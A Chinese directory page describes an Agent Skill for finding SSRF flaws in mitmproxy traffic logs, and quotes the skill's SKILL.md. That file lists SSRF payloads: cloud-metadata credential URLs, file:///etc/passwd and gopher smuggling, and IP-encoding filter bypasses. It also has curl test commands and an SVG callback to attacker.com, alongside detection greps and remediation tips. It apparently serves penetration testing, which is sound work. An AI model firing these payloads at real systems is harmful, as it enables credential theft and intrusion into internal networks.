Token导航 LogoToken导航

Agent Skill · 研究检索

mitm-find-ssrf(中间人找到 ssrf)

mitm-find-ssrf 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

mitm-find-ssrf 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为接触敏感数据;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 71,089。

总安装 196周安装 8GitHub Stars 46下载 63核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:mitm-find-ssrf(中间人找到 ssrf)
来源仓库:https://github.com/instavm/security-skills
仓库路径:skills/mitm-find-ssrf
安装命令:
npx skills add https://github.com/instavm/security-skills --skill mitm-find-ssrf
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/instavm/security-skills --skill mitm-find-ssrf

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于查找、检索和筛选 SSRF 漏洞相关代码片段。适合在 Codex、Claude、Cursor、Gemini CLI 中快速定位候选结果。基于关键词或任务场景进行信息筛选和匹配。安装前建议确认权限范围和维护状态。mitm-find-ssrf 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

注意是否会触发联网或文件读写操作。

来源仓库内路径:skills/mitm-find-ssrf

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/instavm/security-skills --skill mitm-find-ssrf;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

mitm-find-ssrf 怎么安装?

在终端执行 npx skills add https://github.com/instavm/security-skills --skill mitm-find-ssrf。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

mitm-find-ssrf 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

mitm-find-ssrf 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

mitm-find-ssrf 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

mitm-find-ssrf 用的人多吗?

公开数据是累计安装 196 次,近一周安装 8 次,下载 63 次,GitHub 46 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

mitm-find-ssrf 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
mitm-find-ssrf

中间人找到 ssrf · 本页

19646接触敏感数据未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Find SSRF Vulnerabilities

Analyze the mitmproxy dump (log.txt) for SSRF vulnerabilities for: $ARGUMENTS

Requires: log.txt in the current directory. If it's missing, capture traffic first: ``bash mitmdump --set flow_detail=3 2>&1 | tee log.txt ``

High-Value SSRF Patterns (from 113 real HackerOne bounty reports)

1. URL Parameters in Requests

Common vulnerable parameters:

url, uri, path, dest, redirect, link, href
src, source, file, document, page, load
target, proxy, fetch, request, callback
webhook, hook, endpoint, api_url, base_url
image_url, avatar_url, icon_url, logo_url
pdf_url, export_url, import_url, feed_url

Search patterns:

grep -iE '(url|uri|path|src|href|link|dest|redirect|webhook|callback|fetch|proxy|target)[=:]["'\''"]?https?://' log.txt

2. File/Image Processing Endpoints

Real examples from bounties:

  • SVG upload triggers SSRF (Shopify)
  • Image URL in product creation
  • PDF generation with external resources
  • Avatar/profile picture from URL

Search patterns:

grep -iE '\.(svg|pdf|xml|html)' log.txt
grep -iE '(upload|import|fetch|process).*url' log.txt

3. Integration/Webhook Endpoints

Real examples:

  • Sentry source code scraping
  • Git clone with credentials
  • OAuth callback manipulation
  • Webhook URL specification

Search patterns:

grep -iE '(webhook|callback|hook|notify|integration)' log.txt
grep -iE 'git.*clone|git.*url' log.txt

4. Host Header Injection

Real example: Host header bypass accessing internal subdomains

Host: internal.target.com
X-Forwarded-Host: internal.target.com
X-Original-URL: /internal/admin

Search patterns:

grep -iE '^Host:' log.txt
grep -iE 'X-Forwarded|X-Original' log.txt

SSRF Target Payloads

Internal Network Probing

http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://169.254.169.254  # AWS metadata
http://metadata.google.internal  # GCP metadata
http://100.100.100.200  # Alibaba metadata

Cloud Metadata Endpoints (Critical)

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# DigitalOcean
http://169.254.169.254/metadata/v1/

Protocol Smuggling

file:///etc/passwd
dict://localhost:11211/
gopher://localhost:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
ldap://localhost/

Vulnerability Categories & Severity

TypeSeverityImpact
Cloud metadata accessCRITICALAWS keys, service credentials
Internal service accessHIGHDatabase, cache, admin panels
Blind SSRF (OOB)MEDIUMPort scanning, internal recon
Limited SSRF (no response)LOWDenial of service, limited recon

Testing Methodology

Step 1: Identify URL Input Points

# Find URL-like parameters
grep -iE 'https?://[^\s"'\''<>]+' log.txt | grep -iE '(url|uri|src|href|link|path)='

# Find base64 encoded URLs
grep -oE '[A-Za-z0-9+/]{20,}={0,2}' log.txt | while read b; do echo "$b" | base64 -d 2>/dev/null | grep -q 'http' && echo "Base64 URL: $b"; done

Step 2: Test with Internal Targets

# Test localhost
curl 'https://target.com/api/fetch?url=http://127.0.0.1:80'

# Test metadata (AWS)
curl 'https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/'

# Test with DNS rebinding
curl 'https://target.com/api/fetch?url=http://your-rebind-domain.com'

Step 3: Bypass Common Filters

# IP variations
http://127.0.0.1 → http://2130706433 (decimal)
http://127.0.0.1 → http://0x7f000001 (hex)
http://127.0.0.1 → http://0177.0.0.1 (octal)
http://127.0.0.1 → http://127.1

# DNS bypass
http://localhost → http://localtest.me
http://169.254.169.254 → http://[0:0:0:0:0:ffff:169.254.169.254]

# URL encoding
http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31

Step 4: Confirm with Out-of-Band

# Use Burp Collaborator, webhook.site, or interactsh
curl 'https://target.com/api/fetch?url=http://YOUR-BURP-COLLABORATOR-ID.burpcollaborator.net'

Real Attack Scenarios

Scenario 1: AWS Credential Theft via SSRF

1. Find image import feature: POST /api/import?image_url=XXX
2. Set URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Response contains IAM role name
4. Fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
5. Get temporary AWS credentials

Scenario 2: Internal Service Access

1. Find webhook configuration
2. Set webhook URL to internal service: http://internal-admin.local/
3. Trigger webhook
4. Access internal admin panel functionality

Scenario 3: Blind SSRF via SVG

1. Upload SVG file with external reference:
   <svg><image href="http://attacker.com/callback"/></svg>
2. Server processes SVG, fetches external URL
3. Attacker receives connection from internal IP

Output Format

## SSRF Finding: [Brief Description]

**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name`
**Type**: [Full|Blind|Partial]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]

**Evidence**:
[Request showing URL parameter]

**Tested Payloads**:
- http://127.0.0.1 → [response/behavior]
- http://169.254.169.254 → [response/behavior]

**Impact**:
- Cloud credential theft
- Internal network access
- Service enumeration

**Test Command**:
curl -X METHOD 'https://target.com/...' -d 'url=http://169.254.169.254/'

**Remediation**:
- Whitelist allowed domains
- Block private IP ranges
- Use allowlist for protocols (http/https only)
- Disable redirects or validate redirect targets

False Positives to Ignore

  • Static CDN URLs that are hardcoded
  • OAuth redirect_uri that's validated against whitelist
  • Webhook URLs that only accept HTTPS and validated domains
  • URL parameters that are client-side only (JS fetch)

平台分布

Codex

36.03%
按下载量换算23

Claude

30.73%
按下载量换算19

Cursor

18.15%
按下载量换算11

Gemini CLI

10.24%
按下载量换算6

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills